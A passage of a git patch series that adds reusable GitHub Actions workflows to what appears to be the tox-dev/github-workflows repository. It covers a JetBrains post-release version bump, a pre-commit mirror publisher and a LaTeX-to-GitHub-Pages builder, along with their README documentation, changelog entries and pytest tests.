"--plugin-id", + "com.example.plugin", + "--version", + version.removeprefix("v"), + "--archive", + str(archive), + "--mode", + ] + assert arguments[8] == mode + assert ("--github-output" in arguments) is github_output + + +def test_rejects_archive_that_differs_from_signing_digest( + action_scripts: Path, + repository: Path, + tmp_path: Path, + release_creator: Path, + signed_archive: tuple[Path, str], +) -> None: + archive, _ = signed_archive + result = action( + repository, + tmp_path, + action_scripts, + "stage-jetbrains-marketplace", + version="v1.2.3", + ARCHIVE=str(archive), + SHA256="0" * 64, + PLUGIN_ID="com.example.plugin", + MODE="stage", + PATH=f"{release_creator}:{os.environ['PATH']}", + ) + assert result.returncode != 0 + assert not (tmp_path / "release-creator.args").exists() + + +def test_rejects_unknown_mode( + action_scripts: Path, + repository: Path, + tmp_path: Path, + release_creator: Path, + signed_archive: tuple[Path, str], +) -> None: + archive, digest = signed_archive + result = action( + repository, + tmp_path, + action_scripts, + "stage-jetbrains-marketplace", + version="v1.2.3", + ARCHIVE=str(archive), + SHA256=digest, + PLUGIN_ID="com.example.plugin", + MODE="publish", + PATH=f"{release_creator}:{os.environ['PATH']}", + ) + assert result.returncode != 0 + assert not (tmp_path / "release-creator.args").exists() From f1e213df2a572569535847f7d6873c81d0b628a4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:01 -0800 Subject: [PATCH 19/38] =?UTF-8?q?=E2=9C=A8=20feat(jetbrains):=20prepare=20?= =?UTF-8?q?post-release=20bump?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a composite that commits the next -dev plugin version without an App token. It requires a plain X.Y.Z tag and writes the manifest that publish-post-release-pr consumes, so the App token stays in the writer job. --- README.md | 40 +++++++ .../+jetbrains-post-release.feature.md | 2 + prepare-jetbrains-post-release/action.yml | 83 ++++++++++++++ tests/conftest.py | 1 + .../test_post_release.py | 108 ++++++++++++++++++ 5 files changed, 234 insertions(+) create mode 100644 changelog.d/+jetbrains-post-release.feature.md create mode 100644 prepare-jetbrains-post-release/action.yml create mode 100644 tests/prepare_jetbrains_post_release/test_post_release.py diff --git a/README.md b/README.md index 032eff5..d5bae2e 100644 --- a/README.md +++ b/README.md @@ -1344,6 +1344,46 @@ channel. Pass `channel` to `publish-jetbrains-marketplace`. mode: stage ``` +## Prepare the JetBrains post-release version + +`prepare-jetbrains-post-release` runs in a keyless job after a release. It requires a plain `X.Y.Z` tag, writes the next +`X.Y.(Z+1)-dev` version to the version file, and writes `paths.tsv`, `body.md`, and `candidate.bundle` to `output-dir`. +The writer job uploads those files with the App token from the `release-auth` environment, and passes them to +`publish-post-release-pr`. The composite does not touch the App token: it reads the App's public user ID with +`github-token` to author the commit. + +```yaml + post-release-prepare: + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + base-commit: ${{ steps.change.outputs.base-commit }} + candidate-commit: ${{ steps.change.outputs.candidate-commit }} + branch: ${{ steps.change.outputs.branch }} + next-version: ${{ steps.change.outputs.next-version }} + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + - uses: actions/checkout@CHECKOUT_SHA + with: + ref: main + fetch-depth: 0 + persist-credentials: false + - id: change + uses: tox-dev/github-workflows/prepare-jetbrains-post-release@SHA + with: + tag: ${{ github.ref_name }} + app-slug: tox-dev-jetbrains-fish-release + github-token: ${{ github.token }} + output-dir: ${{ runner.temp }}/post-release + - id: upload + uses: actions/upload-artifact@UPLOAD_SHA + with: + name: post-release-${{ github.run_id }}-${{ github.run_attempt }} + path: ${{ runner.temp }}/post-release/* + if-no-files-found: error +``` + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+jetbrains-post-release.feature.md b/changelog.d/+jetbrains-post-release.feature.md new file mode 100644 index 0000000..347e841 --- /dev/null +++ b/changelog.d/+jetbrains-post-release.feature.md @@ -0,0 +1,2 @@ +Add `prepare-jetbrains-post-release`, which commits the next `-dev` plugin version after a release without an App token, +so `publish-post-release-pr` can open the bump pull request. diff --git a/prepare-jetbrains-post-release/action.yml b/prepare-jetbrains-post-release/action.yml new file mode 100644 index 0000000..52f5bc6 --- /dev/null +++ b/prepare-jetbrains-post-release/action.yml @@ -0,0 +1,83 @@ +name: Prepare JetBrains post-release version bump +description: Commit the next development version without an App token, for publish-post-release-pr to reconcile +inputs: + tag: + description: Released tag, such as v1.2.3; the next version is the patch after it + required: true + version-file: + description: File with the pluginVersion key + default: gradle.properties + output-dir: + description: Directory that receives paths.tsv, body.md, and candidate.bundle for the artifact upload + required: true + app-slug: + description: Slug of the release App whose bot identity authors the commit + required: true + github-token: + description: Token that reads the App's public user ID + required: true +outputs: + base-commit: + description: Commit the candidate builds on, passed to publish-post-release-pr + value: ${{ steps.change.outputs.base-commit }} + candidate-commit: + description: Candidate commit, empty when the version already matches + value: ${{ steps.change.outputs.candidate-commit }} + branch: + description: Branch name for the post-release pull request + value: ${{ steps.version.outputs.branch }} + next-version: + description: Development version written to the version file + value: ${{ steps.version.outputs.next-version }} +runs: + using: composite + steps: + - name: ๐Ÿท๏ธ Select the next version + id: version + shell: bash + env: + TAG: ${{ inputs.tag }} + run: | + set -euo pipefail + version="${TAG#v}" + if [[ ! "$version" =~ ^([0-9]+)\.([0-9]+)\.([0-9]+)$ ]]; then + echo "::error::tag $TAG is not a plain X.Y.Z release, so no next version is derived" >&2 + exit 1 + fi + echo "next-version=${BASH_REMATCH[1]}.${BASH_REMATCH[2]}.$((BASH_REMATCH[3] + 1))-dev" >>"$GITHUB_OUTPUT" + echo "branch=post-release-$TAG" >>"$GITHUB_OUTPUT" + - name: โš™๏ธ Resolve the release App author + shell: bash + env: + APP_SLUG: ${{ inputs.app-slug }} + GH_TOKEN: ${{ inputs.github-token }} + run: | + set -euo pipefail + app_user_id=$(gh api "/users/${APP_SLUG}[bot]" --jq .id) + git config user.name "${APP_SLUG}[bot]" + git config user.email "${app_user_id}+${APP_SLUG}[bot]@users.noreply.github.com" + - name: ๐Ÿท๏ธ Prepare the exact version change + id: change + shell: bash + env: + TAG: ${{ inputs.tag }} + VERSION_FILE: ${{ inputs.version-file }} + NEXT_VERSION: ${{ steps.version.outputs.next-version }} + OUTPUT_DIR: ${{ inputs.output-dir }} + run: | + set -euo pipefail + mkdir -p "$OUTPUT_DIR" + base_commit=$(git rev-parse HEAD) + sed -i "s/^pluginVersion=.*/pluginVersion=$NEXT_VERSION/" "$VERSION_FILE" + git add "$VERSION_FILE" + printf '%s\t%s\n' "$VERSION_FILE" "$(git rev-parse ":$VERSION_FILE")" >"$OUTPUT_DIR/paths.tsv" + printf 'Set the next development version after %s.\n' "$TAG" >"$OUTPUT_DIR/body.md" + candidate_commit= + if ! git diff --cached --quiet; then + git commit -m "Bump version to $NEXT_VERSION after $TAG" + candidate_commit=$(git rev-parse HEAD) + git branch release-candidate HEAD + git bundle create "$OUTPUT_DIR/candidate.bundle" refs/heads/release-candidate + fi + echo "base-commit=$base_commit" >>"$GITHUB_OUTPUT" + echo "candidate-commit=$candidate_commit" >>"$GITHUB_OUTPUT" diff --git a/tests/conftest.py b/tests/conftest.py index 64408ae..7fac2c1 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -82,6 +82,7 @@ def action_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: "sign-jetbrains-plugin", "publish-post-release-pr", "stage-jetbrains-marketplace", + "prepare-jetbrains-post-release", ): action = yaml.safe_load((source / action_name / "action.yml").read_text()) for index, step in enumerate(action["runs"]["steps"]): diff --git a/tests/prepare_jetbrains_post_release/test_post_release.py b/tests/prepare_jetbrains_post_release/test_post_release.py new file mode 100644 index 0000000..6d07cd6 --- /dev/null +++ b/tests/prepare_jetbrains_post_release/test_post_release.py @@ -0,0 +1,108 @@ +from __future__ import annotations + +import os +import subprocess +from pathlib import Path +from typing import Final + +import pytest +from conftest import action, run + +GH_STUB: Final[str] = "#!/usr/bin/env bash\necho 42\n" + + +@pytest.fixture +def gh_stub(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script = bin_dir / "gh" + script.write_text(GH_STUB) + script.chmod(0o755) + return bin_dir + + +@pytest.fixture +def plugin_repository(repository: Path) -> Path: + (repository / "gradle.properties").write_text("pluginVersion=1.2.3\nkeep=yes\n") + run(repository, "git", "add", "gradle.properties") + run(repository, "git", "commit", "-m", "Add plugin version") + return repository + + +def _prepare( + repository: Path, + tmp_path: Path, + action_scripts: Path, + gh_stub: Path, + tag: str, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + outputs: dict[str, str] = {} + result = action( + repository, + tmp_path, + action_scripts, + "prepare-jetbrains-post-release", + outputs, + version=tag, + TAG=tag, + APP_SLUG="tox-dev-plugin-release", + GITHUB_TOKEN="token", + OUTPUT_DIR=str(tmp_path / "post-release"), + PATH=f"{gh_stub}:{os.environ['PATH']}", + ) + return result, outputs + + +def test_commits_next_patch_version_and_writes_manifest( + action_scripts: Path, + plugin_repository: Path, + tmp_path: Path, + gh_stub: Path, +) -> None: + base = run(plugin_repository, "git", "rev-parse", "HEAD").stdout.strip() + result, outputs = _prepare(plugin_repository, tmp_path, action_scripts, gh_stub, "v1.2.3") + assert result.returncode == 0, result.stderr + candidate = run(plugin_repository, "git", "rev-parse", "HEAD").stdout.strip() + assert outputs == { + "base-commit": base, + "candidate-commit": candidate, + "branch": "post-release-v1.2.3", + "next-version": "1.2.4-dev", + } + assert (plugin_repository / "gradle.properties").read_text() == "pluginVersion=1.2.4-dev\nkeep=yes\n" + blob = run(plugin_repository, "git", "rev-parse", "HEAD:gradle.properties").stdout.strip() + post_release = tmp_path / "post-release" + assert (post_release / "paths.tsv").read_text() == f"gradle.properties\t{blob}\n" + assert (post_release / "body.md").read_text() == "Set the next development version after v1.2.3.\n" + assert (post_release / "candidate.bundle").is_file() + assert run(plugin_repository, "git", "log", "-1", "--format=%an <%ae>%n%s").stdout.splitlines() == [ + "tox-dev-plugin-release[bot] <42+tox-dev-plugin-release[bot]@users.noreply.github.com>", + "Bump version to 1.2.4-dev after v1.2.3", + ] + + +def test_leaves_candidate_empty_when_version_already_matches( + action_scripts: Path, + plugin_repository: Path, + tmp_path: Path, + gh_stub: Path, +) -> None: + (plugin_repository / "gradle.properties").write_text("pluginVersion=1.2.4-dev\n") + run(plugin_repository, "git", "commit", "-am", "Already bumped") + result, outputs = _prepare(plugin_repository, tmp_path, action_scripts, gh_stub, "v1.2.3") + assert result.returncode == 0, result.stderr + assert outputs["candidate-commit"] == "" + assert not (tmp_path / "post-release/candidate.bundle").exists() + + +@pytest.mark.parametrize("tag", ["v1.2.3-beta.1", "1.2", "v1.2.3.4"]) +def test_rejects_tags_without_plain_patch_version( + action_scripts: Path, + plugin_repository: Path, + tmp_path: Path, + gh_stub: Path, + tag: str, +) -> None: + result, outputs = _prepare(plugin_repository, tmp_path, action_scripts, gh_stub, tag) + assert result.returncode != 0 + assert outputs == {} From e561a32923c940659267a234f4a4b9bab20a066d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:01 -0800 Subject: [PATCH 20/38] =?UTF-8?q?=E2=9C=A8=20feat(mirror):=20add=20pre-com?= =?UTF-8?q?mit=20mirror=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a reusable workflow for pyproject-fmt and tox-toml-fmt style mirrors. - Pin pre-commit-mirror-maker and prek, and setup-uv to an exact version. - Run prek twice: exit 1 means files changed, the second run must pass. Other statuses fail the job instead of being masked. - Refuse to move a published tag. The push creates the branch and tag in one atomic push, with no force and no token in the remote URL. - Serialize runs per repository with cancel-in-progress disabled. --- .../workflows/publish-pre-commit-mirror.yaml | 114 ++++++++++++ README.md | 32 ++++ changelog.d/+pre-commit-mirror.feature.md | 3 + .../publish_pre_commit_mirror/test_mirror.py | 173 ++++++++++++++++++ 4 files changed, 322 insertions(+) create mode 100644 .github/workflows/publish-pre-commit-mirror.yaml create mode 100644 changelog.d/+pre-commit-mirror.feature.md create mode 100644 tests/publish_pre_commit_mirror/test_mirror.py diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml new file mode 100644 index 0000000..05d6d7f --- /dev/null +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -0,0 +1,114 @@ +name: ๐Ÿชž Publish pre-commit mirror +on: + workflow_call: + inputs: + package-name: + description: Package that pre-commit-mirror-maker wraps, such as pyproject-fmt + required: true + type: string + files-regex: + description: Regular expression for the files the mirrored hook accepts + required: true + type: string +permissions: {} +concurrency: + group: pre-commit-mirror-${{ github.repository }} + cancel-in-progress: false +jobs: + mirror: + name: ๐Ÿชž Mirror + runs-on: ubuntu-26.04 + timeout-minutes: 15 + permissions: + contents: write + steps: + # The push below reuses this checkout's credential, so the token never appears in the remote URL. + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 # zizmor: ignore[artipacked] + with: + persist-credentials: true + - name: ๐Ÿ“ฆ Install uv + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: "0.13.7" + enable-cache: false + - name: ๐Ÿชž Generate mirror + env: + PACKAGE_NAME: ${{ inputs.package-name }} + FILES_REGEX: ${{ inputs.files-regex }} + run: | + set -euo pipefail + uvx -p 3.15 --from pre-commit-mirror-maker==1.14.0 pre-commit-mirror . \ + --language=python --package-name="$PACKAGE_NAME" --files-regex "$FILES_REGEX" + - name: ๐Ÿ“ Update README with current version + run: | + set -euo pipefail + version=$(cat .version) + sed -i "s/rev: \".*\"/rev: \"v$version\"/" README.md + - name: ๐Ÿ’… Format generated files + run: | + set -euo pipefail + prek=(uvx --from prek==0.5.5 prek) + # The first run exits 1 when a hook rewrites files; the second run must pass on the rewritten tree. + status=0 + "${prek[@]}" run --all-files || status=$? + case "$status" in + 0) + echo 'Formatting left the generated files unchanged' + ;; + 1) + echo 'Formatting rewrote generated files, checking the result' + "${prek[@]}" run --all-files + ;; + *) + echo "::error::prek exited with $status, not a file change" >&2 + exit "$status" + ;; + esac + - name: ๐Ÿ”„ Commit mirror changes + id: commit + run: | + set -euo pipefail + git add -A + if git diff --cached --quiet; then + echo 'No mirror changes to commit' + exit 0 + fi + version=$(cat .version) + git -c user.name='Github Actions' \ + -c user.email='41898282+github-actions[bot]@users.noreply.github.com' \ + commit -m "Mirror: $version" + echo "version=$version" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ” Check the release tag is new + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} + env: + VERSION: ${{ steps.commit.outputs.version }} + run: | + set -euo pipefail + status=0 + git ls-remote --exit-code --tags origin "refs/tags/v$VERSION" >/dev/null || status=$? + case "$status" in + 0) + echo "::error::tag v$VERSION already exists; a moved tag would change the rev users have pinned, bump the package version" >&2 + exit 1 + ;; + 2) echo "Tag v$VERSION is new" ;; + *) + echo "::error::could not read tags from origin, git exited with $status" >&2 + exit "$status" + ;; + esac + - name: ๐Ÿš€ Push mirror commit and tag + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} + env: + VERSION: ${{ steps.commit.outputs.version }} + run: | + set -euo pipefail + git tag "v$VERSION" + git push --atomic origin HEAD:refs/heads/main "refs/tags/v$VERSION" + - name: ๐ŸŽ‰ Create GitHub release + if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} + env: + GH_TOKEN: ${{ github.token }} + VERSION: ${{ steps.commit.outputs.version }} + run: gh release create "v$VERSION" --generate-notes diff --git a/README.md b/README.md index d5bae2e..f9dc433 100644 --- a/README.md +++ b/README.md @@ -1384,6 +1384,38 @@ The writer job uploads those files with the App token from the `release-auth` en if-no-files-found: error ``` +## Publish a pre-commit mirror + +`publish-pre-commit-mirror.yaml` generates a pre-commit mirror of a Python package's hook with pre-commit-mirror-maker +1.14.0, formats the result with prek 0.5.5, and commits it as `Mirror: `. On `main`, one atomic push updates +the branch and creates the `v` tag, then a GitHub release is created. + +- Formatting runs twice. The first run may rewrite files and exit 1; the second run must pass on the rewritten tree. Any + other exit status fails the job. +- A tag that already exists on origin fails the run. A published tag is never moved, because a moved tag changes the rev + users have pinned. Bump the package version to publish new content. +- The job runs the repository's pre-commit hooks while it holds `contents: write`. Trigger it on pushes to `main`, + schedules, and manual dispatches, not on `pull_request`, so no pull request's hook code runs with that token. + +```yaml +name: Mirror +on: + push: + branches: [main] + workflow_dispatch: + schedule: + - cron: "30 8 * * *" +permissions: {} +jobs: + mirror: + uses: tox-dev/github-workflows/.github/workflows/publish-pre-commit-mirror.yaml@SHA + permissions: + contents: write + with: + package-name: pyproject-fmt + files-regex: '(^|/)pyproject\.toml$' +``` + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+pre-commit-mirror.feature.md b/changelog.d/+pre-commit-mirror.feature.md new file mode 100644 index 0000000..5bd5ab4 --- /dev/null +++ b/changelog.d/+pre-commit-mirror.feature.md @@ -0,0 +1,3 @@ +Add `publish-pre-commit-mirror.yaml`, a reusable workflow for pre-commit mirrors that pins the mirror maker and prek, +fails on a clean-tree mismatch instead of masking it, refuses to move a published tag, and pushes the branch and tag in +one atomic push. diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py new file mode 100644 index 0000000..3b3087a --- /dev/null +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -0,0 +1,173 @@ +from __future__ import annotations + +import os +from pathlib import Path +from typing import Any, Final + +import pytest +import yaml +from conftest import run, workflow_step + +WORKFLOW: Final[str] = "publish-pre-commit-mirror.yaml" +ROOT: Final = Path(__file__).resolve().parents[2] +PREK_STUB: Final[str] = """\ +#!/usr/bin/env bash +count=$(cat "$RUNNER_TEMP/prek-count" 2>/dev/null || echo 0) +echo $((count + 1)) >"$RUNNER_TEMP/prek-count" +read -r -a statuses <<<"$PREK_STATUSES" +exit "${statuses[count]}" +""" + + +def _workflow() -> dict[str, Any]: + return yaml.load((ROOT / ".github/workflows" / WORKFLOW).read_text(), Loader=yaml.BaseLoader) + + +def _step(name: str) -> dict[str, Any]: + return next(step for step in _workflow()["jobs"]["mirror"]["steps"] if step.get("name") == name) + + +@pytest.fixture +def prek_stub(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script = bin_dir / "uvx" + script.write_text(PREK_STUB) + script.chmod(0o755) + return bin_dir + + +@pytest.mark.parametrize( + ("statuses", "accepted", "invocations"), + [ + pytest.param("0", True, 1, id="clean-tree"), + pytest.param("1 0", True, 2, id="rewritten-then-clean"), + pytest.param("1 1", False, 2, id="rewritten-then-failing"), + pytest.param("2", False, 1, id="hook-crashed"), + ], +) +def test_format_step_accepts_only_a_clean_second_pass( + tmp_path: Path, + prek_stub: Path, + statuses: str, + accepted: bool, + invocations: int, +) -> None: + result = workflow_step( + WORKFLOW, + "mirror", + "๐Ÿ’… Format generated files", + tmp_path, + { + "RUNNER_TEMP": str(tmp_path), + "PREK_STATUSES": statuses, + "PATH": f"{prek_stub}:{os.environ['PATH']}", + }, + ) + assert (result.returncode == 0) is accepted, result.stderr + assert (tmp_path / "prek-count").read_text().strip() == str(invocations) + + +def _repository(tmp_path: Path) -> Path: + clone = tmp_path / "clone" + run(tmp_path, "git", "init", "-q", "-b", "main", str(clone)) + run(clone, "git", "config", "user.name", "Mirror test") + run(clone, "git", "config", "user.email", "mirror@example.org") + (clone / ".version").write_text("1.0.0\n") + (clone / "README.md").write_text('rev: "v0.0.0"\n') + run(clone, "git", "add", ".") + run(clone, "git", "commit", "-q", "-m", "Initial mirror") + return clone + + +def test_commit_step_records_version_only_for_changes(tmp_path: Path) -> None: + clone = _repository(tmp_path) + output = tmp_path / "output" + unchanged = workflow_step(WORKFLOW, "mirror", "๐Ÿ”„ Commit mirror changes", clone, {"GITHUB_OUTPUT": str(output)}) + assert unchanged.returncode == 0, unchanged.stderr + assert not output.exists() + + (clone / ".version").write_text("1.0.1\n") + changed = workflow_step(WORKFLOW, "mirror", "๐Ÿ”„ Commit mirror changes", clone, {"GITHUB_OUTPUT": str(output)}) + assert changed.returncode == 0, changed.stderr + assert output.read_text() == "version=1.0.1\n" + assert run(clone, "git", "log", "-1", "--format=%s").stdout.strip() == "Mirror: 1.0.1" + + +def _remote_with_tag(tmp_path: Path) -> tuple[Path, Path]: + remote = tmp_path / "remote.git" + run(tmp_path, "git", "init", "-q", "--bare", str(remote)) + clone = _repository(tmp_path) + run(clone, "git", "remote", "add", "origin", str(remote)) + run(clone, "git", "tag", "v1.0.0") + run(clone, "git", "push", "-q", "origin", "main", "--tags") + return remote, clone + + +@pytest.mark.parametrize( + ("version", "accepted"), + [ + pytest.param("1.0.0", False, id="published-tag"), + pytest.param("1.0.1", True, id="new-tag"), + ], +) +def test_tag_check_refuses_to_move_a_published_tag(tmp_path: Path, version: str, accepted: bool) -> None: + _, clone = _remote_with_tag(tmp_path) + result = workflow_step( + WORKFLOW, + "mirror", + "๐Ÿ” Check the release tag is new", + clone, + {"VERSION": version}, + ) + assert (result.returncode == 0) is accepted, result.stderr + + +def test_push_step_publishes_branch_and_tag_together(tmp_path: Path) -> None: + remote, clone = _remote_with_tag(tmp_path) + (clone / ".version").write_text("1.0.1\n") + run(clone, "git", "commit", "-q", "-am", "Mirror: 1.0.1") + result = workflow_step(WORKFLOW, "mirror", "๐Ÿš€ Push mirror commit and tag", clone, {"VERSION": "1.0.1"}) + assert result.returncode == 0, result.stderr + head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() + assert run(tmp_path, "git", "--git-dir", str(remote), "rev-parse", "main").stdout.strip() == head + assert run(tmp_path, "git", "--git-dir", str(remote), "rev-parse", "v1.0.1^{commit}").stdout.strip() == head + + +def test_push_is_atomic_and_never_forces() -> None: + push = _step("๐Ÿš€ Push mirror commit and tag")["run"] + assert "--atomic" in push + assert "--force" not in push + assert " -f " not in push + + +def test_checkout_uses_default_credentials_without_token_in_remote() -> None: + checkout = _step("๐Ÿ“ฅ Check out repository") + assert checkout["with"] == {"persist-credentials": "true"} + text = (ROOT / ".github/workflows" / WORKFLOW).read_text() + assert "set-url" not in text + assert "x-access-token" not in text + + +def test_runs_pin_tools_and_never_interpolate_outputs() -> None: + text = (ROOT / ".github/workflows" / WORKFLOW).read_text() + assert "pre-commit-mirror-maker==1.14.0" in text + assert "prek==0.5.5" in text + assert 'version: "0.13.7"' in text + for job in _workflow()["jobs"].values(): + for step in job["steps"]: + script = step.get("run", "") + assert "${{" not in script, step.get("name") + assert "|| true" not in script, step.get("name") + + +def test_concurrency_queues_mirror_runs() -> None: + assert _workflow()["concurrency"] == { + "group": "pre-commit-mirror-${{ github.repository }}", + "cancel-in-progress": "false", + } + + +def test_release_steps_run_only_on_main_pushes() -> None: + for name in ("๐Ÿ” Check the release tag is new", "๐Ÿš€ Push mirror commit and tag", "๐ŸŽ‰ Create GitHub release"): + assert _step(name)["if"] == "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }}" From 7d021ab03e63bf611be6759532babfa8161194b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:01 -0800 Subject: [PATCH 21/38] =?UTF-8?q?=E2=9C=A8=20feat(latex):=20publish=20PDFs?= =?UTF-8?q?=20to=20GitHub=20Pages?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a reusable workflow that compiles a LaTeX root file with SOURCE_DATE_EPOCH pinned to the commit time, uploads the PDF, deploys it to gh-pages from main, and waits until Pages serves the built SHA256. Build and deploy jobs have timeouts, and the workflow grants no permissions at top level. --- .github/workflows/latex-to-pages.yaml | 114 ++++++++++++++++++ README.md | 28 +++++ changelog.d/+latex-to-pages.feature.md | 2 + tests/latex_to_pages/test_latex.py | 157 +++++++++++++++++++++++++ 4 files changed, 301 insertions(+) create mode 100644 .github/workflows/latex-to-pages.yaml create mode 100644 changelog.d/+latex-to-pages.feature.md create mode 100644 tests/latex_to_pages/test_latex.py diff --git a/.github/workflows/latex-to-pages.yaml b/.github/workflows/latex-to-pages.yaml new file mode 100644 index 0000000..d0e5e26 --- /dev/null +++ b/.github/workflows/latex-to-pages.yaml @@ -0,0 +1,114 @@ +name: ๐Ÿ“• Build LaTeX to Pages +on: + workflow_call: + inputs: + root-file: + description: Root TeX file that latexmk compiles; its PDF keeps the base name and is served at the Pages root + required: false + type: string + default: main.tex +permissions: {} +concurrency: + group: latex-pages-${{ github.repository }}-${{ github.ref }} + cancel-in-progress: ${{ github.ref != 'refs/heads/main' }} +jobs: + build: + name: ๐Ÿ“• Compile LaTeX document + runs-on: ubuntu-26.04 + timeout-minutes: 20 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.upload.outputs.artifact-id }} + pdf-name: ${{ steps.pdf.outputs.name }} + pdf-sha256: ${{ steps.pdf.outputs.sha256 }} + steps: + - name: ๐Ÿ›Ž๏ธ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿ•ฐ๏ธ Pin the build clock to the commit + id: epoch + run: echo "epoch=$(git log -1 --format=%ct)" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ“• Compile LaTeX document + uses: xu-cheng/latex-action@6549dc21effb2730855a1281407ecfcececc6c1b # 4.1.0 + with: + root_file: ${{ inputs.root-file }} + # The action runs latexmk in a container that only forwards its own env, so step env: never reaches pdflatex. + pre_compile: export SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }} FORCE_SOURCE_DATE=1 + - name: ๐Ÿ”Ž Record PDF name and digest + id: pdf + env: + ROOT_FILE: ${{ inputs.root-file }} + run: | + set -euo pipefail + pdf="${ROOT_FILE%.tex}.pdf" + test -f "$pdf" + read -r digest _ < <(sha256sum "$pdf") + printf 'path=%s\nname=%s\nsha256=%s\n' "$pdf" "${pdf##*/}" "$digest" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ค Upload PDF + id: upload + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: latex-pdf + path: ${{ steps.pdf.outputs.path }} + if-no-files-found: error + retention-days: 30 + deploy: + name: ๐Ÿš€ Deploy to GitHub Pages + needs: build + if: ${{ github.ref == 'refs/heads/main' }} + runs-on: ubuntu-26.04 + timeout-minutes: 30 + environment: + name: release + url: https://${{ github.repository_owner }}.github.io/${{ github.event.repository.name }}/${{ needs.build.outputs.pdf-name }} + permissions: + contents: write + pages: read + steps: + - name: ๐Ÿ›Ž๏ธ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿ“ฉ Download PDF + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.build.outputs.artifact-id }} + path: built + - name: ๐Ÿ” Check downloaded PDF digest + env: + PDF_NAME: ${{ needs.build.outputs.pdf-name }} + PDF_SHA256: ${{ needs.build.outputs.pdf-sha256 }} + run: | + set -euo pipefail + echo "$PDF_SHA256 built/$PDF_NAME" | sha256sum --check + - name: ๐Ÿš€ Deploy ๐Ÿš€ + uses: JamesIves/github-pages-deploy-action@fa24774553152dd7873cd16ebd8d959b010c5445 # v4.9.0 + with: + folder: built + single-commit: true + - name: ๐Ÿ” Verify published PDF + env: + GH_TOKEN: ${{ github.token }} + URL: https://${{ github.repository_owner }}.github.io/${{ github.event.repository.name }}/${{ needs.build.outputs.pdf-name }} + PDF_SHA256: ${{ needs.build.outputs.pdf-sha256 }} + run: | + set -euo pipefail + head=$(gh api "repos/$GITHUB_REPOSITORY/branches/gh-pages" --jq .commit.sha) + for i in $(seq 1 80); do + sleep 15 + build=$(gh api "repos/$GITHUB_REPOSITORY/pages/builds/latest" --jq '"\(.commit) \(.status)"') || build=unknown + if [[ "$build" != "$head built" ]]; then + echo "Pages build is '$build', waiting for '$head built'" + continue + fi + got=$(curl -fsSL --retry 3 "$URL?run=$GITHUB_RUN_ID-$i" | sha256sum | cut -d' ' -f1) || continue + if [[ "$got" == "$PDF_SHA256" ]]; then + echo "Pages serves the freshly built PDF, SHA256 $got" + exit 0 + fi + echo "Pages serves SHA256 $got, expected $PDF_SHA256" + done + echo "::error::$URL did not serve the freshly built PDF within 20 minutes; is GitHub Pages enabled for gh-pages?" >&2 + exit 1 diff --git a/README.md b/README.md index f9dc433..8470f06 100644 --- a/README.md +++ b/README.md @@ -1416,6 +1416,34 @@ jobs: files-regex: '(^|/)pyproject\.toml$' ``` +## Build a LaTeX document to GitHub Pages + +`latex-to-pages.yaml` compiles `root-file` with latexmk, pins `SOURCE_DATE_EPOCH` to the checked-out commit time, and +uploads the PDF as the `latex-pdf` artifact. On `main` it deploys to `gh-pages` in the `release` environment, then polls +the Pages build for up to 20 minutes until the served PDF has the built SHA256. GitHub Pages must be enabled for +`gh-pages`. The PDF is served at `https://.github.io//.pdf`, where `` is the root file's base +name. + +```yaml +name: Build LaTeX document +on: + workflow_dispatch: + push: + branches: ["main"] + pull_request: + schedule: + - cron: "0 8 * * *" +permissions: {} +jobs: + pdf: + uses: tox-dev/github-workflows/.github/workflows/latex-to-pages.yaml@SHA + permissions: + contents: write + pages: read + with: + root-file: main.tex +``` + ## Test a caller 